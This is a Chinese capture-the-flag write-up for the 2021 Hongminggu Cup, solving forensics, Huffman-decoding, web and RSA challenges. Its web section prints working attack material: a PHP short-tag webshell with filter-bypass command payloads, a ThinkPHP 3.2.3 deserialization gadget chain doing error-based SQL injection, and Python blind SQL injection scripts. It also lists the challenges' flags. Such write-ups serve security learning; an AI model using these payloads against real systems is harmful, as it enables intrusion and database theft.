『CTF』红明谷杯数据安全大赛 WP – 作者:宸极实验室Sec

『CTF』红明谷杯数据安全大赛 WP


日期:2021-04-06

作者:宸极实验室

介绍:总排名全国第 23 名,还需要继续努力。

小编提醒:关注微信公众号『宸极实验室』,回复 『红明谷杯』,即可获取题目附件。


-w1271

MISC

0x01 签到

-w1049
打开以后是选择题,做题即可获取 flag。

flag{7b01fbd9-3d99-49a4-9760-3176e90b0804}

0x02 InputMonitor

题目给出的附件中只有 User目录下的文件,在用户 link3桌面中发现 flag.7z以及 log_data.txt,从文本中得到提示,结合题目名称,猜测跟输入法有关系。

网上查询资料后找到微软输入法的词库文件,路径 \AppData\Roaming\Microsoft\InputMethod\Chs,是用词库编辑器可以看到部分文字,但是只有ChsPinyinUDL.dat读取成功了。

image-20210402182321508

起初根据六个字节爆破一波,无果后目光回到之前加载失败的文件,ChsPinyinIH.dat读取失败了,提示说越界,结合 Recent最近访问的文件,推测文件结构被改过,索性直接打开看,注意格式是 Unicode,在其中发现六位长度的字符串有志者事竟成,尝试了一下解压成功。

image-20210402183203757

解压后的 PDF,图片底下有段文字,拖动下图片就可以看到。

image-20210402183424781

flag{Y0u_F1nd_h1dd3n_m3g}

0x03 歪比歪比

下载附件,解压,发现是个流量包

图片[6]-『CTF』红明谷杯数据安全大赛 WP – 作者:宸极实验室Sec-安全小百科

改后缀名,Wireshark打开,追踪一下 TCP流,拿到了题目中截取的内容,如图。

图片[7]-『CTF』红明谷杯数据安全大赛 WP – 作者:宸极实验室Sec-安全小百科

猜测是二进制转字符,尝试了转 3-56进制,发现都没出啥东西。

查看了一下 01 的个数,发现是 5212,分解一下质因数,只能是 2*2*1303,所以猜测不是通过二进制直接转的字符。

放表格里,按照右侧的数字递增排一下顺序,发现有多组重复的数字,并且 {}对应的是 1,-对应的是 4。
图片[8]-『CTF』红明谷杯数据安全大赛 WP – 作者:宸极实验室Sec-安全小百科

此时猜测,右侧的数字可能是频率,使用 sum函数计算了一下和,发现正好是 1000,和题目中给到的 surprise message len: 1000相匹配。

结合 右侧的数字是频率 + 数字有重复 + 输出是 01 ,猜测是 哈弗曼树。

此时有了 哈弗曼树 的频率、输出,需要求原文。

网上找了很多脚本,都搞不了。此时想到,既然有了频率,可以输出相同的二叉树,从而得到字符和对应的01编码。

按照给的顺序,写个脚本,直接输出,然后去掉多余的空格。
图片[9]-『CTF』红明谷杯数据安全大赛 WP – 作者:宸极实验室Sec-安全小百科

直接网上找了个在线的网站生成,此处有坑,内容不能包含符号,所以把 {-}分别用大写字母 ABC 代替,直接生成了二叉树。

图片[10]-『CTF』红明谷杯数据安全大赛 WP – 作者:宸极实验室Sec-安全小百科

人工匹出来,明文和对应的编码,如下
图片[11]-『CTF』红明谷杯数据安全大赛 WP – 作者:宸极实验室Sec-安全小百科

网上找了个在线的解码工具,垃圾网站,解出来的有问题。

图片[12]-『CTF』红明谷杯数据安全大赛 WP – 作者:宸极实验室Sec-安全小百科

手撸了个脚本,GetFlag

图片[13]-『CTF』红明谷杯数据安全大赛 WP – 作者:宸极实验室Sec-安全小百科

得到了最终的 flag

flag{50d477a2-6036-d0a9-9d63-49c2e9e5d1e5}

WEB

0x01 write_shell

题目代码如下:

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}

?>

首先,这不是无字母数字webshell

恰恰相反,本题对常见的无字母数字webshell做了过滤。

例如:过滤了异或符号,过滤了取反符号,过滤了下划线等。

并且,对于php标签,过滤了php字符。

可通过php短标签绕过。

<? ?>

谷歌一下,你就知道,最短的webshell是:

<?=`$_GET[1]`?>

由于过滤了下划线,我们不能用常规的传参,但可以直接执行命令。
php语言中,会将反引号中间的内容,当作shell语句执行。

例如:

<?=`whoami`?>

payload:

?action=upload&data=<?=`whoami`?>

访问pwd得到的路径,即可看到结果。

虽然过滤了空格,我们可以通过%09进行绕过。

?action=upload&data=<?=`ls%09/`?>

web_1

可看到flag文件为php文件!whatyouwantggggggg401.php

由于过滤了php字符,可通过*通配符绕过

?action=upload&data=<?=`cat%09/!whatyouwantggggggg401*`?>

Ctrl+U即可得到flag

web_1

flag{4d3e0093-e9de-4a15-9c09-d97abb5ad8c8}

0x02 easytp

thinkphp3.2.3版本,简单扫一下目录可得到www.zip

其中./Application/Home/Controller/IndexController.class.php

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        echo(unserialize(base64_decode(file_get_contents('php://input'))));
        $this->display();

    }
    public function test(){
        echo(unserialize(base64_decode(file_get_contents('php://input'))));
    }
}

定义了反序列化方法

例如:

http://XXX/index.php?s=Home/Index/test
POST:czo0OiJ0ZXN0Ijs=

web_1

谷歌发现了一篇思路一致的文章,https://www.jianshu.com/p/41782991b4b2

根据payload构建远程fakemysql

成功读取文件

通过读取到/start.sh

web_1

web_1

#!/bin/sh

FLAG_PATH=/var/www/html/tp3.sql
FLAG_MODE=M_SQL
if [ ${ICQ_FLAG} ];then
    case $FLAG_MODE in
        "M_ECHO")
            echo -n ${ICQ_FLAG} > ${FLAG_PATH}
            FILE_MODE=755
            chmod ${FILE_MODE} ${FLAG_PATH}
            ;;
        "M_SED")
            #sed -i "s/flag{x*}/${ICQ_FLAG}/" ${FLAG_PATH}
            sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
            ;;
        "M_SQL")
            sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
            mysql -uroot -proot < ${FLAG_PATH}
            rm -f ${FLAG_PATH}
            ;;
        *)
            ;;
    esac
    echo [+] ICQ_FLAG OK
    unset ICQ_FLAG
else
    echo [!] no ICQ_FLAG
fi

发现,flag在数据库中,mysql帐号密码均为root

通过payload连接数据库失败,密码错误

经过尝试后发现,密码为123456

连接后可通过报错注入的方式显示数据

查询可知,存在tp库,f14g

由于用的报错注入函数存在32位字符限制,查询的时候,通过mid函数切片

web_1

最终payload为:

<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
);
protected $config = array(
"debug"    => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset"  => "utf8",
"username" => "root",
"password" => "123456"
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
            $this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
            $this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options   = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
"table" => "mysql.user where extractvalue(1,mid(concat(0x7e, (SELECT * from tp.f14g),0x7e),1,32))#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

flag{c072f84c-df23-4d5e-ab53-96d792515416}

0x03 happysql

题目有注册和登录,疑似二次注入

经过fuzz

过滤了单引号,空格,or等字符

二次注入失败

在经过一系列失败后,发现可能为盲注

注册admin1帐号

登录时发现,存在双引号的万能密码

username=admin1"||"&password=1

或者

username=admin1"||1#&password=1

通过对字符的fuzz,查看笔记,可能唯一适用就是regexp

但过滤了^和$

此路不通

username=admin1"||right(user(),1)regexp("t")#&password=1

但是这种是可以的

username=1"||user()/**/regexp/**/user()#&password=1

然后,变形一下

username=1"||left(user(),1)/**/regexp/**/"r"#&password=1

可得

username=1"||left(user(),4)/**/regexp/**/"root"#&password=1

web_1

同理可得

username=1"||left(database(),3)/**/regexp/**/"ctf"#&password=1

web_1

当前用户是root,当前数据库是ctf

接下来就是爆表名,脚本如下:

import os
import requests
url = "http://eci-2zeg9ymisdv0ind1064m.cloudeci1.ichunqiu.com/login.php"
s = requests.session()
ss = ',{}abcdefghijklmnopqrstuvwxyz0123456789'

flag = ''
for i in range(1,50):
    for j in ss:
        data = {
         'username':'1"||left((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/regexp/**/"ctf"),%d)/**/regexp/**/"%s"#'%(i,flag+j),
        'password':'1'
       }

        res =  s.post(url,data).text
        if 'home' in res:
            flag += j
            print(flag)
            break

得到表名为ctff1ag

web_1

最终payload:

username=1"||left((select/**/*/**/from/**/f1ag),1)/**/regexp/**/"f"#&password=1

web_1

脚本如下:

import os
import requests
import string
url = "http://eci-2zeg9ymisdv0ind1064m.cloudeci1.ichunqiu.com/login.php"
s = requests.session()
ss = string.printable
ss = ss[0:ss.index('*')] + ss[ss.index('*')+1:]

flag = ''
for i in range(1,50):
    for j in ss:
        data = {
         'username':'1"||left((select/**/*/**/from/**/f1ag),%d)/**/regexp/**/"%s"#'%(i,flag+j),
        'password':'1'
       }

        res =  s.post(url,data).text
        if 'home' in res:
            flag += j
            print(flag)
            break

web_1

由于-被过滤了,所以将.替换成-{}即可得到flag

flag{a46e8aa1-86c8-47ee-933f-28e36960218c}

Crypto

0x01 RSA attack

看到e=3,最先想到低加密指数攻击,直接开三次方即可。

-w764

flag{w0_x1hu1n_y0u_b5st}

来源:freebuf.com 2021-04-06 16:55:41 by: 宸极实验室Sec

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论